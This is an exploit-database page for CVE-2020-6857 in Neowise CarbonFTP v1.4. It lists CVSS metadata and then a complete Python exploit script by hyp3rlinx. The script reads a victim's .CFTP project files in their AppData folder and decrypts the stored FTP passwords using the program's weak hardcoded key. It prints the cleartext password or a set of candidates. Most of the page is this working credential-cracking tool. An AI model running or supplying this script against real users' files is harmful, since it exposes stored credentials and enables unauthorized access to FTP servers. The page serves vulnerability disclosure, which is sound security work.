Neowise CarbonFTP v1.4 / Insecure Proprietary Password Encryption - v2 Exploit

us hyp3rlinx (US) us
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-798

CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

import time, string, sys, argparse, os, codecs #Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version. #This should be compatible for Python 2 and 3 versions now, tested successfully. #Sample test password #LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947 key="97F" #2431 in decimal, the weak hardcoded encryption key within the vuln program. chunk_sz=5 #number of bytes we must decrypt the password by. #Password is stored here: #C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP #Neowise CarbonFTP v1.4 #Insecure Proprietary Password Encryption #By John Page (aka hyp3rlinx) #Apparition Security #=================================================== def carbonftp_conf(conf_file): p="" pipe=-1 passwd="" lst_of_passwds=[] try: for p in conf_file: idx = p.find("Password=STRING|") if idx != -1: pipe = p.find("|") if pipe != -1: passwd = p[pipe + 2: -2] print(" Password found: "+ passwd) lst_of_passwds.append(passwd) except Exception as e: print(str(e)) return lst_of_passwds def reorder(lst): k=1 j=0 for n in range(len(lst)): k+=1 j+=1 try: tmp = lst[n+k] a = lst[n+j] lst[n+j] = tmp lst[n+k] = a except Exception as e: pass return ''.join(lst) def dec2hex(dec): tmp = str(hex(int(dec))) return str(tmp[2:]) #Updated for Python version compatibility. def hex2ascii(h): h=h.strip() passwd="" try: passwd = codecs.decode(h, "hex").decode("ascii") except Exception as e: print("[!] In hex2ascii(), not a valid hex string.") exit() return passwd def chunk_passwd(passwd_lst): lst = [] for passwd in passwd_lst: while passwd: lst.append(passwd[:chunk_sz]) passwd = passwd[chunk_sz:] return lst def strip_non_printable_char(str): return ''.join([x for x in str if ord(x) > 31 or ord(x)==9]) cnt = 0 passwd_str="" def deob(c): global cnt, passwd_str tmp="" try: tmp = int(c) - int(key, 16) tmp = dec2hex(tmp) except Exception as e: print("[!] Not a valid CarbonFTP encrypted password.") exit() b="" a="" #Seems we can delete the second char as its most always junk. if cnt!=1: a = tmp[:2] cnt+=1 else: b = tmp[:4] passwd_str += strip_non_printable_char(hex2ascii(a + b)) hex_passwd_lst = list(passwd_str) return hex_passwd_lst def no_unique_chars(lst): c=0 k=1 j=0 for i in range(len(lst)): k+=1 j+=1 try: a = lst[i] b = lst[i+1] if a != b: c+=1 elif c==0: print("[!] Possible one char password?: " +str(lst[0])) return lst[0] except Exception as e: pass return False def decryptor(result_lst): global passwd_str, sz print(" Decrypting ... \n") for i in result_lst: print("[-] "+i) time.sleep(0.1) lst = deob(i) #Re-order chars to correct sequence using custom swap function (reorder). reordered_pass = reorder(lst) sz = len(reordered_pass) #Flag possible single char password. no_unique_chars(lst) print("[+] PASSWORD LENGTH: " + str(sz)) if sz == 9: return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " + reordered_pass[:-3] + " | " + reordered_pass[:-4] + " | " + reordered_pass[:-5] +" | " + reordered_pass[:-6] + " | "+ reordered_pass[:-7] + " | " + reordered_pass) #Shorter passwords less then nine chars will have several candidates #as they get padded with repeating chars so we return those. passwd_str="" return reordered_pass def display_cracked_passwd(sz, passwd): if sz==9: print("[*] PASSWORD CANDIDATES: "+ passwd + "\n") else: print("[*] DECRYPTED PASSWORD: "+passwd + "\n") def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--user", help="Username to crack a directory of Carbon .CFTP password files") parser.add_argument("-p", "--encrypted_password", help="Crack a single encrypted password") return parser.parse_args() def main(args): global passwd_str, sz victim="" if args.user and args.encrypted_password: print("[!] Supply a victims username -u or single encrypted password -p, not both.") exit() print("[+] Neowise CarbonFTP v1.4") time.sleep(0.1) print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption") time.sleep(0.1) print("[+] Version 2 Exploit fixed for Python 3 compatibility") time.sleep(0.1) print("[+] Discovered and cracked by hyp3rlinx") time.sleep(0.1) print("[+] ApparitionSec\n") time.sleep(1) #Crack a dir of carbonFTP conf files containing encrypted passwords -u flag. if args.user: victim = args.user os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/") dir_lst = os.listdir(".") for c in dir_lst: f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r") #Get encrypted password from conf file passwd_enc = carbonftp_conf(f) #Break up into 5 byte chunks as processed by the proprietary decryption routine. result_lst = chunk_passwd(passwd_enc) #Decrypt the 5 byte chunks and reassemble to the cleartext password. cracked_passwd = decryptor(result_lst) #Print cracked password or candidates. display_cracked_passwd(sz, cracked_passwd) time.sleep(0.3) passwd_str="" f.close() #Crack a single password -p flag. if args.encrypted_password: passwd_to_crack_lst = [] passwd_to_crack_lst.append(args.encrypted_password) result = chunk_passwd(passwd_to_crack_lst) #Print cracked password or candidates. cracked_passwd = decryptor(result) display_cracked_passwd(sz, cracked_passwd) if __name__=="__main__": parser = argparse.ArgumentParser() if len(sys.argv)==1: parser.print_help(sys.stderr) exit() main(parse_args())

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top